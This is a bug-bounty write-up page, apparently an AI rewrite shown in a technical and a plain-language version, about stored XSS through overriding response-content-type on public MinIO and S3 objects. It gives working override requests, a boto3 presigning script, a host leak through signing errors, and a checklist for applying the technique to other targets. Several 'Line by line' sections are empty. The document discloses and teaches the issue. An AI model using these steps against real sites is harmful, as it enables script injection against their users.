Skip to content
XSS Write-up Intermediate

Where Defenders Spend Their Budget

Publicly readable objects in MinIO and S3 buckets can be served with an attacker-chosen Content-Type, so an uploaded file that looks like an image can be rendered by the browser as HTML. If the bucket is served under the target's own origin, this yields stored cross-site scripting in that origin.

Amirmohammad Safari Follow

Published on blog.voorivex.team

A file uploader can pass every check you throw at it and still be exploitable. Not because the checks are weak, but because they're looking at the wrong moment.

Amirmohammad Safari, on blog.voorivex.team

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

A file uploader can pass every check you throw at it and still be exploitable. Not because the checks are weak, but because they are looking at the wrong moment. You test one, it bounces every bad upload you send, and the natural move is to mark it "well-secured" and walk away. This post is about a stored XSS that lives in a lot of these uploaders and survives every defence the app puts in front of you: first on MinIO, where it is almost too easy, and then on S3, where it takes one more step.

The post describes a class of setups: applications that let users upload files and serve them back from a public bucket. The post is not tied to one product; it describes a class of setups, and the examples use a placeholder host such as cdn.target.com.

Where defenders spend their budget

Put yourself in the developer's chair. You are told "let users upload profile pictures" and immediately your brain lights up with everything that could go wrong. Someone uploads a giant file. Someone uploads an XSS payload instead of an image. Someone crafts a path that overwrites another user's file. So you build a wall: you check the filename, whitelist extensions, sniff the magic bytes, and force a clean Content-Type before the thing ever touches storage. You test it, the bad uploads bounce, and it feels solid. You ship it.

All of that effort is real and most of it is good, but notice where every bit of it landed: clustered around the moment the file comes in. The upload handler is the part of the system the developer can actually see, run locally, and throw test cases at. It has a request body sitting right there asking to be validated. That is where the security budget goes, because that is where the work feels like it is happening.

What gets almost no attention is the second act. The file is in the bucket now, it is public, and a browser is about to ask for it directly. That request does not go through the app at all. No validation code runs. The carefully forced Content-Type is just a piece of metadata sitting on the object. The developer rarely thinks hard about this part because, from their seat, the job already felt done back at upload time.

Two conditions frame everything that follows:

  1. The objects are publicly readable: anonymous, no credentials, the kind of file a browser can pull straight from the bucket without the app handing it a signed link first. That is not an exotic setup; it is how a huge number of apps serve avatars, attachments and uploads.
  2. The files are served from the target's own subdomain or from a path behind its reverse proxy, something like cdn.target.com or target.com/uploads/. When the file comes back to the browser under the target's own origin, an HTML payload you sneak in there runs in that origin's context, which makes it real same-origin XSS. If the bucket is served from some random storage domain nobody trusts, the trick still works but the impact mostly evaporates.

Setup

The preconditions are:

  • A public bucket (MinIO or S3) holding an uploaded object that the application forced to image/png at upload time.
  • The object is served under an origin that matters, as described above.
  • For the S3 path, an AWS identity of your own, plus Python with boto3 and botocore to generate a presigned URL.

Finding it

You have a file sitting in a public MinIO bucket. The app forced it to image/png on the way in, and if you fetch it normally, that is exactly what comes back:

HTTP
GET /uploads/avatar123.png HTTP/1.1
Host: cdn.target.com
HTTP
HTTP/1.1 200 OK
Content-Type: image/png

Fine. Now add one query parameter:

HTTP
GET /uploads/avatar123.png?response-content-type=text/html HTTP/1.1
Host: cdn.target.com
HTTP
HTTP/1.1 200 OK
Content-Type: text/html

That is it. Same object, same bytes, but MinIO now tells the browser it is HTML. If you uploaded something with <script> in it dressed up as a valid PNG, the browser stops seeing an image and starts rendering a page. No auth, no signing, nothing clever. You just asked, and it said yes.

Exploitation

Step 1: confirm the object is served as an image

Fetch the public object normally and observe the stored Content-Type coming back as image/png, as shown above. This is the application's upload-time decision being honoured.

Step 2: override the response content type on MinIO

Append ?response-content-type=text/html to the same URL. The response now carries Content-Type: text/html for the identical bytes. The browser renders the object as a page, and any <script> inside the uploaded file executes in the origin that serves the bucket, provided that origin is the target's own.

Step 3: try the same thing on S3

S3 supports the exact same response-content-type override as MinIO. Same param, same idea. So your first instinct is to do the MinIO thing, tack it onto the public object URL, and call it a day:

HTTP
GET /uploads/avatar123.png?response-content-type=text/html HTTP/1.1
Host: cdn.target.com

And S3 slaps your hand:

HTTP
HTTP/1.1 400 Bad Request

<Error>
    <Code>InvalidRequest</Code>
    <Message>Request specific response headers cannot be used for anonymous GET requests.</Message>
    <RequestId>...</RequestId>
    <HostId>...</HostId>
</Error>

AWS lets you override the response Content-Type, but it will not let an anonymous request do it. The override params are only honoured when the request is signed. Public-but-anonymous is exactly the case it refuses.

Step 4: sign the request with your own credentials

This looks like a dead end, but it is not. S3 only wants the request to be signed by someone valid, and it never said that someone had to be the bucket's owner. The object is publicly readable, which means any AWS identity can read it, yours included. So you take your own credentials, generate a presigned URL for that object, and bake the response-content-type override right into the signature.

The script below takes the bucket, the key, the region, the endpoint to sign against, the content type you want, and an expiry, and prints back a presigned URL that serves the stored bytes as whatever you asked for:

Python
#!/usr/bin/env python3
"""
Generate a presigned S3 GET URL that serves an object as a content-type
of your choosing, signed with YOUR own AWS credentials.

Usage:
  python3 poc.py <bucket> <key> <region> <endpoint-url> [content-type] [expires]

Example:
  python3 poc.py plann-api-prod uploads/avatar123.png us-east-1 \
      https://s3.us-east-1.amazonaws.com text/html
"""
import sys
import boto3
from botocore.client import Config

bucket, key, region, endpoint = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
content_type = sys.argv[5] if len(sys.argv) > 5 else "text/html"
expires = int(sys.argv[6]) if len(sys.argv) > 6 else 3600

s3 = boto3.client(
    "s3",
    region_name=region,
    endpoint_url=endpoint,
    config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
)
url = s3.generate_presigned_url(
    "get_object",
    Params={
        "Bucket": bucket,
        "Key": key,
        "ResponseContentType": content_type,
    },
    ExpiresIn=expires,
)

print(url)

Run it against a public object:

Bash
python3 poc.py pwnbox-s3 517b379b-6471-4c62-af13-91de5efe4421.png us-east-1 https://s3.us-east-1.amazonaws.com text/html

You get a long signed link back. Open it, and S3 finally plays along, handing the same bytes back as text/html instead of the image/png the app forced at upload time.

Step 5: recover an unknown bucket host from a signing error

What if you do not even know the bucket name? Sign the request with a wrong host or region on purpose and send it. When the signature does not match what S3 expects, the error response is not just a flat rejection: it tends to hand you back the canonical request S3 reconstructed on its side, and that includes the real host it saw. A SignatureDoesNotMatch response becomes a free leak of the true bucket host and region, the exact two things you were missing. Read them out of the error, plug them back into the script, sign it properly, and you are back on track.

XML
<Error>
    <Code>SignatureDoesNotMatch</Code>
    <Message>The request signature we calculated does not match the signature you provided. Check your key and signing method.</Message>
    <AWSAccessKeyId>...</AWSAccessKeyId>
    <StringToSign>...</StringToSign>
    <SignatureProvided>...</SignatureProvided>
    <StringToSignBytes>...</StringToSignBytes>
    <CanonicalRequest>GET /517b379b-6471-4c62-af13-91de5efe4421.png X-Amz-Algorithm=... host:pwnbox-s3.s3.us-east-1.amazonaws.com host UNSIGNED-PAYLOAD</CanonicalRequest>
    <CanonicalRequestBytes>...</CanonicalRequestBytes>
    <RequestId>...</RequestId>
    <HostId>...</HostId>
</Error>

Root cause

On MinIO this is not a bug but documented behaviour, which is exactly what makes it so reliable. MinIO supports a small set of response header override params on GET, and the whole thing lives in cmd/object-handlers.go. There is a whitelist of params it will honour:

Text
var supportedHeadGetReqParams = map[string]string{
    "response-expires":             xhttp.Expires,
    "response-content-type":        xhttp.ContentType,
    "response-cache-control":       xhttp.CacheControl,
    "response-content-encoding":    xhttp.ContentEncoding,
    "response-content-language":    xhttp.ContentLanguage,
    "response-content-disposition": xhttp.ContentDisposition,
}

response-content-type maps straight onto the Content-Type response header. The function that applies it is just as direct:

Text
func setHeadGetRespHeaders(w http.ResponseWriter, reqParams url.Values) {
    for k, v := range reqParams {
        if header, ok := supportedHeadGetReqParams[strings.ToLower(k)]; ok {
            w.Header()[header] = []string{strings.Join(v, ",")}
        }
    }
}

Two things are worth noticing. It is a flat assignment, so whatever value you pass replaces what was there, with no validation and no sanitising of the value. And there is no auth check inside this function at all.

The reason your override beats the object's real type comes down to ordering. Inside GetObjectHandler, MinIO sets the object's stored headers first, including the forced image/png, and then applies your query-param overrides on top:

Text
if err = setObjectHeaders(ctx, w, objInfo, rs, opts); err != nil {
    writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
    return
}

// ...

setHeadGetRespHeaders(w, r.Form)   // your override lands here, last word wins

setObjectHeaders is where that clean image/png would normally get set from the object's stored metadata:

Text
if objInfo.ContentType != "" {
    w.Header().Set(xhttp.ContentType, objInfo.ContentType)
}

But since setHeadGetRespHeaders runs after it and does a plain overwrite, your text/html is what actually goes out the door. The app's careful upload-time decision gets quietly stomped at serve time by a string in your URL.

On S3 the override exists too, but the anonymous attempt returns InvalidRequest. The defence that stops the anonymous case is the signing requirement, not the absence of the feature. Any valid AWS identity can sign a read of a public object, so the restriction only forces one extra step.

In both cases the upload-time defences did not stop the attack because the serve-time request does not go through the app. The forced Content-Type is metadata on the object, and the browser's decision is made from the response header, which the override controls.

Impact

When the bucket is served under the target's own origin, an attacker who can upload a file containing HTML and script, dressed up as a valid image, gets that payload rendered and executed in the target's origin. That is same-origin XSS with everything it unlocks. The conditions are that the object is publicly readable and that it is served from the target's subdomain or a path behind its reverse proxy; if the bucket is served from an unrelated storage domain, the trick still works but the impact mostly evaporates.

Fix

No fix is described. What the analysis implies is that the serve-time response headers must not be overridable by the requester for objects that are publicly readable, or that such objects must not be served from an origin that matters. The report does not state which change was made.

Variants to test

The hunter's checklist from the post, applied to other targets:

  1. Append ?response-content-type=text/html to every public uploaded image you come across and watch what comes back.
  2. If it returns Content-Type: text/html, you are on MinIO (or something that behaves like it) and you are basically done: the object renders as HTML and you can go straight to exploiting it.
  3. If it returns Request specific response headers cannot be used for anonymous GET requests, that is S3 telling you the override exists but it will not honour it anonymously. That error is a green light, not a wall: re-sign the public object with your own AWS account, put the override in the signed request, and you get the same result with one extra step.
  4. If you do not know the bucket host or region, sign with a wrong host or region on purpose and read the real host out of the SignatureDoesNotMatch canonical request, then sign again correctly.
  5. Either response means the door is open. The only thing left is to check the origin, because that is what decides whether it is a real finding or a footnote.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

Imagine a building where the security guard checks every visitor at the front door, very carefully. Then there is a side door that nobody watches, and anyone can walk through it. That is the shape of the problem described here.

Many websites let people upload files: a profile picture, an attachment, a document. The part of the website that receives the upload is usually well defended. It checks the file name, it checks the file extension, it looks inside the file to see what kind of file it really is, and it decides what label to attach to the file. That label is called the Content-Type, and it tells the browser what the file is: an image, a web page, a video, and so on.

But there is a second moment that gets far less attention: the moment a browser later asks for that file directly from storage. That request does not pass through the website's upload code at all. The label the website carefully set at upload time is just a piece of stored information, and in some storage systems the person making the request can override it. If you can override the label to say "this is a web page" instead of "this is an image", the browser will treat your uploaded file as a web page and run any script inside it. That is called stored cross-site scripting, or stored XSS: a script that is saved on the server and later runs in someone else's browser.

The post walks through two storage systems. On MinIO, one extra piece of text in the URL is enough. On Amazon S3, the same trick is blocked for anonymous requests, but it works if you sign the request with your own AWS account, which takes one more step. The whole thing only matters if the files are served from the target's own web address, because that is what makes the script run in the target's context.

The setup: what a file uploader is and where its defences go

Before breaking anything, it helps to picture the person who built the uploader. They were told: "let users upload profile pictures". Immediately they think of everything that could go wrong. Someone uploads a giant file. Someone uploads a script disguised as an image. Someone crafts a file path that overwrites another user's file.

So they build a wall. In plain terms, the wall includes:

  1. Filename check: the filename is checked.
  2. Extension whitelist: only allow whitelisted extensions.
  3. Magic byte sniffing: the file's magic bytes are checked.
  4. Forced Content-Type: a clean Content-Type is forced before the file touches storage.

They test it, bad uploads bounce, and it feels solid. They ship it.

All of that effort is real and most of it is good. But notice where every brick landed: around the moment the file comes in. The upload handler is the part of the system the developer can see, run on their own machine, and throw test cases at. It is where the work feels like it is happening.

What gets almost no attention is the second act. The file is now sitting in storage, it is public, and a browser is about to ask for it directly. That request does not go through the application at all. No validation code runs. The forced Content-Type is just a piece of stored information attached to the file. The developer rarely thinks hard about this part because, from their seat, the job already felt done at upload time.

Two conditions frame everything that follows:

  1. The files are publicly readable. That means anonymous: no login, no credentials, the kind of file a browser can pull straight from storage without the application handing out a special link first. This is not an exotic setup; it is how a huge number of apps serve avatars, attachments and uploads.
  2. The files are served from the target's own subdomain or from a path behind its reverse proxy, something like cdn.target.com or target.com/uploads/. A reverse proxy is a server that sits in front of other servers and forwards requests to them, so the visitor sees the target's own address. When the file comes back to the browser under the target's own origin, an HTML payload you sneak in there runs in that origin's context, which makes it real same-origin XSS. If the storage is served from some random storage domain nobody trusts, the trick still works but the impact mostly evaporates.

What you need before starting

No accounts, roles or versions are described beyond these preconditions:

  • A public bucket (MinIO or S3) holding an uploaded object that the application forced to image/png at upload time. A bucket is simply a container for files in cloud storage; an object is one file inside it.
  • The object is served under an origin that matters, as described above. An origin is the combination of scheme, host and port that a browser uses to decide which site a page belongs to, for example https://cdn.target.com.
  • For the S3 path, an AWS identity of your own, plus Python with the boto3 and botocore libraries to generate a presigned URL. A presigned URL is a link that carries a cryptographic signature, so the storage service knows the request was authorised by a particular account.

Finding it on MinIO

You have a file sitting in a public MinIO bucket. MinIO is a storage server you can run yourself; it speaks the same language as Amazon S3. The application forced the file to image/png on the way in, and if you fetch it normally, that is exactly what comes back:

HTTP
GET /uploads/avatar123.png HTTP/1.1
Host: cdn.target.com

Line by line:

  • GET /uploads/avatar123.png HTTP/1.1 is the request line. GET means "give me this file". /uploads/avatar123.png is the path of the file. HTTP/1.1 is the version of the protocol being spoken.
  • Host: cdn.target.com tells the server which website name the browser is asking for. One server can host many names, so this line picks one.

The server answers:

HTTP
HTTP/1.1 200 OK
Content-Type: image/png
  • HTTP/1.1 200 OK is the status line. 200 means success.
  • Content-Type: image/png is the label telling the browser this is a PNG image. The browser will show it as a picture, not run anything inside it.

Fine. Now add one query parameter. A query parameter is the part of a URL after the ?, made of a name and a value joined by =. It is extra information sent along with the request.

HTTP
GET /uploads/avatar123.png?response-content-type=text/html HTTP/1.1
Host: cdn.target.com
  • The path is the same file.
  • ?response-content-type=text/html is the extra instruction: "please label the response as text/html", which means a web page.

The server answers:

HTTP
HTTP/1.1 200 OK
Content-Type: text/html

That is it. Same file, same bytes, but MinIO now tells the browser it is HTML. If you uploaded something with <script> in it dressed up as a valid PNG, the browser stops seeing an image and starts rendering a page. No login, no signature, nothing clever. You just asked, and it said yes.

Trying the same thing on S3

S3 is Amazon's storage service, and it supports the exact same response-content-type override as MinIO. Same parameter, same idea. So your first instinct is to do the MinIO thing, tack it onto the public object URL, and call it a day:

HTTP
GET /uploads/avatar123.png?response-content-type=text/html HTTP/1.1
Host: cdn.target.com

And S3 slaps your hand:

HTTP
HTTP/1.1 400 Bad Request

<Error>
    <Code>InvalidRequest</Code>
    <Message>Request specific response headers cannot be used for anonymous GET requests.</Message>
    <RequestId>...</RequestId>
    <HostId>...</HostId>
</Error>

Line by line:

  • HTTP/1.1 400 Bad Request means the server refused the request because something about it was not acceptable.
  • <Error> opens an error document written in XML, a text format for structured data.
  • <Code>InvalidRequest</Code> is the short machine-readable name of the error.
  • <Message>Request specific response headers cannot be used for anonymous GET requests.</Message> is the human-readable explanation: you asked to change a response header, but you did it without identifying yourself.
  • <RequestId> and <HostId> are identifiers AWS uses internally to trace the request. The ... means the values are not shown here.

AWS lets you override the response Content-Type, but it will not let an anonymous request do it. The override parameters are only honoured when the request is signed. Public-but-anonymous is exactly the case it refuses.

Signing the request with your own credentials

This looks like a dead end, but it is not. S3 only wants the request to be signed by someone valid, and it never said that someone had to be the bucket's owner. The object is publicly readable, which means any AWS identity can read it, yours included. So you take your own credentials, generate a presigned URL for that object, and bake the response-content-type override right into the signature.

A signature here is a cryptographic stamp computed from the request and a secret key. It proves the request was signed by the holder of that key. Because the override is part of what gets signed, the storage service accepts it as part of an authorised request.

The script below takes the bucket, the key (the file's name inside the bucket), the region, the endpoint to sign against, the content type you want, and an expiry, and prints back a presigned URL that serves the stored bytes as whatever you asked for:

Python
#!/usr/bin/env python3
"""
Generate a presigned S3 GET URL that serves an object as a content-type
of your choosing, signed with YOUR own AWS credentials.

Usage:
  python3 poc.py <bucket> <key> <region> <endpoint-url> [content-type] [expires]

Example:
  python3 poc.py plann-api-prod uploads/avatar123.png us-east-1 \
      https://s3.us-east-1.amazonaws.com text/html
"""
import sys
import boto3
from botocore.client import Config

bucket, key, region, endpoint = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
content_type = sys.argv[5] if len(sys.argv) > 5 else "text/html"
expires = int(sys.argv[6]) if len(sys.argv) > 6 else 3600

s3 = boto3.client(
    "s3",
    region_name=region,
    endpoint_url=endpoint,
    config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
)
url = s3.generate_presigned_url(
    "get_object",
    Params={
        "Bucket": bucket,
        "Key": key,
        "ResponseContentType": content_type,
    },
    ExpiresIn=expires,
)

print(url)

Line by line:

Run it against a public object:

Bash
python3 poc.py pwnbox-s3 517b379b-6471-4c62-af13-91de5efe4421.png us-east-1 https://s3.us-east-1.amazonaws.com text/html

Line by line:

You get a long signed link back. Open it, and S3 finally plays along, handing the same bytes back as text/html instead of the image/png the app forced at upload time.

Recovering an unknown bucket host from a signing error

What if you do not even know the bucket name? Sign the request with a wrong host or region on purpose and send it. When the signature does not match what S3 expects, the error response is not just a flat rejection: it tends to hand you back the canonical request S3 reconstructed on its side, and that includes the real host it saw. The canonical request is the normalised form of the request that the signature is computed over; S3 rebuilds it to compare against yours. A SignatureDoesNotMatch response becomes a free leak of the true bucket host and region, the exact two things you were missing. Read them out of the error, plug them back into the script, sign it properly, and you are back on track.

XML
<Error>
    <Code>SignatureDoesNotMatch</Code>
    <Message>The request signature we calculated does not match the signature you provided. Check your key and signing method.</Message>
    <AWSAccessKeyId>...</AWSAccessKeyId>
    <StringToSign>...</StringToSign>
    <SignatureProvided>...</SignatureProvided>
    <StringToSignBytes>...</StringToSignBytes>
    <CanonicalRequest>GET /517b379b-6471-4c62-af13-91de5efe4421.png X-Amz-Algorithm=... host:pwnbox-s3.s3.us-east-1.amazonaws.com host UNSIGNED-PAYLOAD</CanonicalRequest>
    <CanonicalRequestBytes>...</CanonicalRequestBytes>
    <RequestId>...</RequestId>
    <HostId>...</HostId>
</Error>

Line by line:

Why it works: the root cause

On MinIO this is not a bug but documented behaviour, which is exactly what makes it so reliable. MinIO supports a small set of response header override parameters on GET, and the whole thing lives in cmd/object-handlers.go, a source file in MinIO's code. A response header is a line of metadata the server sends back alongside the file, such as its type or how long it may be cached. There is a whitelist of parameters it will honour:

Text
var supportedHeadGetReqParams = map[string]string{
    "response-expires":             xhttp.Expires,
    "response-content-type":        xhttp.ContentType,
    "response-cache-control":       xhttp.CacheControl,
    "response-content-encoding":    xhttp.ContentEncoding,
    "response-content-language":    xhttp.ContentLanguage,
    "response-content-disposition": xhttp.ContentDisposition,
}

Line by line:

So response-content-type maps straight onto the Content-Type response header. The function that applies it is just as direct:

Text
func setHeadGetRespHeaders(w http.ResponseWriter, reqParams url.Values) {
    for k, v := range reqParams {
        if header, ok := supportedHeadGetReqParams[strings.ToLower(k)]; ok {
            w.Header()[header] = []string{strings.Join(v, ",")}
        }
    }
}

Line by line:

Two things are worth noticing. It is a flat assignment, so whatever value you pass replaces what was there, with no validation and no sanitising of the value. And there is no authentication check inside this function at all.

The reason your override beats the object's real type comes down to ordering. Inside GetObjectHandler, MinIO sets the object's stored headers first, including the forced image/png, and then applies your query-parameter overrides on top:

Text
if err = setObjectHeaders(ctx, w, objInfo, rs, opts); err != nil {
    writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
    return
}

// ...

setHeadGetRespHeaders(w, r.Form)   // your override lands here, last word wins

Line by line:

setObjectHeaders is where that clean image/png would normally get set from the object's stored metadata:

Text
if objInfo.ContentType != "" {
    w.Header().Set(xhttp.ContentType, objInfo.ContentType)
}

Line by line:

But since setHeadGetRespHeaders runs after it and does a plain overwrite, your text/html is what actually goes out the door. The application's careful upload-time decision gets quietly stomped at serve time by a string in your URL.

On S3 the override exists too, but the anonymous attempt returns InvalidRequest. The defence that stops the anonymous case is the signing requirement, not the absence of the feature. Any valid AWS identity can sign a read of a public object, so the restriction only forces one extra step.

In both cases the upload-time defences did not stop the attack because the serve-time request does not go through the app. The forced Content-Type is metadata on the object, and the browser's decision is made from the response header, which the override controls.

What the impact is

When the storage is served under the target's own origin, an attacker who can upload a file containing HTML and script, dressed up as a valid image, gets that payload rendered and executed in the target's origin. That is same-origin XSS with everything it unlocks. The conditions are that the object is publicly readable and that it is served from the target's subdomain or a path behind its reverse proxy; if the storage is served from an unrelated storage domain, the trick still works but the impact mostly evaporates.

Fix

No fix is described. What the analysis implies is that the serve-time response headers must not be overridable by the requester for objects that are publicly readable, or that such objects must not be served from an origin that matters. The report does not state which change was made.

Variants to test: the hunter's checklist

Applied to other targets:

  1. Append ?response-content-type=text/html to every public uploaded image you come across and watch what comes back.
  2. If it returns Content-Type: text/html, you are on MinIO (or something that behaves like it) and you are basically done: the object renders as HTML and you can go straight to exploiting it.
  3. If it returns Request specific response headers cannot be used for anonymous GET requests, that is S3 telling you the override exists but it will not honour it anonymously. That error is a green light, not a wall: re-sign the public object with your own AWS account, put the override in the signed request, and you get the same result with one extra step.
  4. If you do not know the bucket host or region, sign with a wrong host or region on purpose and read the real host out of the SignatureDoesNotMatch canonical request, then sign again correctly.
  5. Either response means the door is open. The only thing left is to check the origin, because that is what decides whether it is a real finding or a footnote.

Glossary

  • API: a defined way for one piece of software to ask another for something, like a menu of requests a service accepts.
  • AWS: Amazon Web Services, Amazon's cloud platform, which includes S3.
  • AWS identity: an account or set of credentials recognised by AWS, with its own access key and secret key.
  • Anonymous request: a request made without identifying yourself, with no credentials attached.
  • Bucket: a container for files in cloud storage.
  • Canonical request: the normalised form of a request that a signature is computed over.
  • Content-Type: a label on a file or response saying what kind of content it is, such as image/png or text/html.
  • Credentials: the keys that prove who you are to a service.
  • Endpoint: the address a client sends requests to.
  • Extension: the part of a file name after the last dot, such as .png.
  • GET: the HTTP method meaning "give me this resource".
  • Header: a line of metadata sent with a request or response.
  • Host: the website name in a request, such as cdn.target.com.
  • HTML: the language web pages are written in.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • Magic bytes: the first few bytes of a file, which reveal its real type regardless of its name.
  • Metadata: information stored about a file, separate from its contents.
  • MinIO: a storage server that speaks the same language as Amazon S3 and can be run yourself.
  • Object: one file inside a bucket.
  • Origin: the combination of scheme, host and port that a browser uses to decide which site a page belongs to.
  • Presigned URL: a link carrying a cryptographic signature, so the service knows a particular account authorised the request.
  • Query parameter: the part of a URL after ?, made of a name and a value joined by =.
  • Region: a geographic cluster of AWS data centres, such as us-east-1.
  • Response header: a line of metadata the server sends back alongside the content.
  • Reverse proxy: a server that sits in front of other servers and forwards requests to them.
  • S3: Amazon's object storage service.
  • Same-origin XSS: a script running in the context of the target's own origin, with access to everything that origin can reach.
  • SigV4: the current signing algorithm AWS uses for its requests.
  • Signature: a cryptographic stamp computed from a request and a secret key, proving who sent it and that it was not altered.
  • SignatureDoesNotMatch: the S3 error returned when the signature you sent does not match the one S3 computed.
  • Stored XSS: cross-site scripting where the malicious script is saved on the server and later runs in someone else's browser.
  • Subdomain: a name that sits under a main domain, such as cdn in cdn.target.com.
  • Virtual-hosted-style URL: a URL where the bucket name appears as part of the host name rather than in the path.
  • XSS (cross-site scripting): a class of vulnerability where an attacker gets their own script to run in another user's browser on a site they do not control.

More by Amirmohammad Safari

View all

5 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.